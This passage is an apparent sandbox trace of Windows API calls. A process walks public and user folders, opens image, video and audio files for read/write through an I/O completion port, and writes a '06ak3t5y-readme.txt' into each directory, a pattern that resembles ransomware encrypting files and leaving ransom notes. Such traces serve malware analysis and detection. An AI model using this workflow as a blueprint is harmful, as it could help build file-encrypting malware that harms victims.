nFileSizeLow=0xbea1f, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0111.437] PathFindExtensionW (pszPath="koala.jpg") returned=".jpg" [0111.437] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xbeb6f) returned 0x4de0020 [0111.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x448 [0111.438] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee710 [0111.439] CreateIoCompletionPort (FileHandle=0x448, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.439] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4de0020) returned 1 [0111.439] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0111.439] PathFindExtensionW (pszPath="lighthouse.jpg") returned=".jpg" [0111.439] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x891cc) returned 0x4ea0020 [0111.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x44c [0111.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0700 [0111.441] CreateIoCompletionPort (FileHandle=0x44c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.442] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4ea0020) returned 1 [0111.442] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0111.442] PathFindExtensionW (pszPath="penguins.jpg") returned=".jpg" [0111.442] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xbdfbb) returned 0x4f30020 [0111.442] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x450 [0111.442] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x74) returned 0x369fa80 [0111.443] CreateIoCompletionPort (FileHandle=0x450, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.443] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4f30020) returned 1 [0111.444] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0111.444] PathFindExtensionW (pszPath="tulips.jpg") returned=".jpg" [0111.444] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x97aa8) returned 0x4ff0020 [0111.444] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x454 [0111.444] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x70) returned 0x30ee8f0 [0111.445] CreateIoCompletionPort (FileHandle=0x454, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.445] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4ff0020) returned 1 [0111.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="tulips.jpg", cAlternateFileName="")) returned 0 [0111.446] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.446] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20867e0) returned 1 [0111.446] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402b0) returned 1 [0111.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x40bc7a0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40bc7a0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x40bc7a0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40bc7a0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b7980, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x40b7980, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40beeb0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0111.446] PathFindExtensionW (pszPath="win7_scenic-demoshort_raw.wtv") returned=".wtv" [0111.446] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x100150) returned 0x5090020 [0111.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x458 [0111.447] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x96) returned 0x207fca0 [0111.448] CreateIoCompletionPort (FileHandle=0x458, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.448] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5090020) returned 1 [0111.448] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0111.448] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.449] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069cc0) returned 1 [0111.449] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402a0) returned 1 [0111.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40c15c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40c15c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.449] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40c15c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40c15c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.449] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c15c0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x40c15c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40c63e0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.449] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.449] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0111.449] PathFindExtensionW (pszPath="wildlife.wmv") returned=".wmv" [0111.449] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x100150) returned 0x51a0020 [0111.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x45c [0111.450] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee1e8 [0111.451] CreateIoCompletionPort (FileHandle=0x45c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.451] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x51a0020) returned 1 [0111.451] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="wildlife.wmv", cAlternateFileName="")) returned 0 [0111.451] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.451] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0d80) returned 1 [0111.451] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040390) returned 1 [0111.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d53ee0, ftCreationTime.dwHighDateTime=0x1d74d23, ftLastAccessTime.dwLowDateTime=0x41898e0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x41898e0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.451] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d53ee0, ftCreationTime.dwHighDateTime=0x1d74d23, ftLastAccessTime.dwLowDateTime=0x41898e0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x41898e0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.452] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767aef00, ftCreationTime.dwHighDateTime=0x1d74e2a, ftLastAccessTime.dwLowDateTime=0xaac20060, ftLastAccessTime.dwHighDateTime=0x1d758d8, ftLastWriteTime.dwLowDateTime=0xaac20060, ftLastWriteTime.dwHighDateTime=0x1d758d8, nFileSizeHigh=0x0, nFileSizeLow=0x34e1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="-9rGFqsYF62c2hsP.mp3", cAlternateFileName="-9RGFQ~1.MP3")) returned 1 [0111.452] PathFindExtensionW (pszPath="-9rgfqsyf62c2hsp.mp3") returned=".mp3" [0111.452] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x3631) returned 0x452da08 [0111.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\-9rGFqsYF62c2hsP.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\-9rgfqsyf62c2hsp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x460 [0111.452] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9e) returned 0x3688fe8 [0111.453] CreateIoCompletionPort (FileHandle=0x460, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.453] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x452da08) returned 1 [0111.453] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41898e0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x41898e0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x418bff0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.453] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7237c60, ftCreationTime.dwHighDateTime=0x1d74ea4, ftLastAccessTime.dwLowDateTime=0xc1d70fd0, ftLastAccessTime.dwHighDateTime=0x1d75b2a, ftLastWriteTime.dwLowDateTime=0xc1d70fd0, ftLastWriteTime.dwHighDateTime=0x1d75b2a, nFileSizeHigh=0x0, nFileSizeLow=0x412f, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="a48Mjh2i TKB2.mkv", cAlternateFileName="A48MJH~1.MKV")) returned 1 [0111.453] PathFindExtensionW (pszPath="a48mjh2i tkb2.mkv") returned=".mkv" [0111.453] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x427f) returned 0x388baa0 [0111.454] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\a48Mjh2i TKB2.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\a48mjh2i tkb2.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x464 [0111.454] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x98) returned 0x207fd40 [0111.455] CreateIoCompletionPort (FileHandle=0x464, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.455] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x388baa0) returned 1 [0111.455] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8e9a290, ftCreationTime.dwHighDateTime=0x1d757bb, ftLastAccessTime.dwLowDateTime=0xf5b0ea90, ftLastAccessTime.dwHighDateTime=0x1d75a1e, ftLastWriteTime.dwLowDateTime=0xf5b0ea90, ftLastWriteTime.dwHighDateTime=0x1d75a1e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="LpHikdOe2SJQv", cAlternateFileName="LPHIKD~1")) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040390 [0111.455] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92) returned 0x207fde0 [0111.455] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb8) returned 0x2084040 [0111.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0111.457] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2084040) returned 1 [0111.457] WriteFile (in: hFile=0x468, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.458] CloseHandle (hObject=0x468) returned 1 [0111.458] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce52b5e0, ftCreationTime.dwHighDateTime=0x1d75731, ftLastAccessTime.dwLowDateTime=0x62e2ff60, ftLastAccessTime.dwHighDateTime=0x1d75ca2, ftLastWriteTime.dwLowDateTime=0x62e2ff60, ftLastWriteTime.dwHighDateTime=0x1d75ca2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="n 1idH_MUb", cAlternateFileName="N1IDH_~1")) returned 1 [0111.458] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402a0 [0111.458] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x2078628 [0111.458] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb2) returned 0x2082fc0 [0111.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0111.458] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2082fc0) returned 1 [0111.458] WriteFile (in: hFile=0x468, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.459] CloseHandle (hObject=0x468) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6407f0, ftCreationTime.dwHighDateTime=0x1d757dc, ftLastAccessTime.dwLowDateTime=0x1b18fd20, ftLastAccessTime.dwHighDateTime=0x1d75ab2, ftLastWriteTime.dwLowDateTime=0x1b18fd20, ftLastWriteTime.dwHighDateTime=0x1d75ab2, nFileSizeHigh=0x0, nFileSizeLow=0x1055b, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="pdbwVn-Lz4hgbH1S6sRs.bmp", cAlternateFileName="PDBWVN~1.BMP")) returned 1 [0111.459] PathFindExtensionW (pszPath="pdbwvn-lz4hgbh1s6srs.bmp") returned=".bmp" [0111.459] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x106ab) returned 0x52b0048 [0111.461] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\pdbwVn-Lz4hgbH1S6sRs.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\pdbwvn-lz4hgbh1s6srs.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x468 [0111.461] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa6) returned 0x36788a8 [0111.462] CreateIoCompletionPort (FileHandle=0x468, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.462] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52b0048) returned 1 [0111.462] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x392d4ec0, ftCreationTime.dwHighDateTime=0x1d74cd3, ftLastAccessTime.dwLowDateTime=0xd4cc0d70, ftLastAccessTime.dwHighDateTime=0x1d7594f, ftLastWriteTime.dwLowDateTime=0xd4cc0d70, 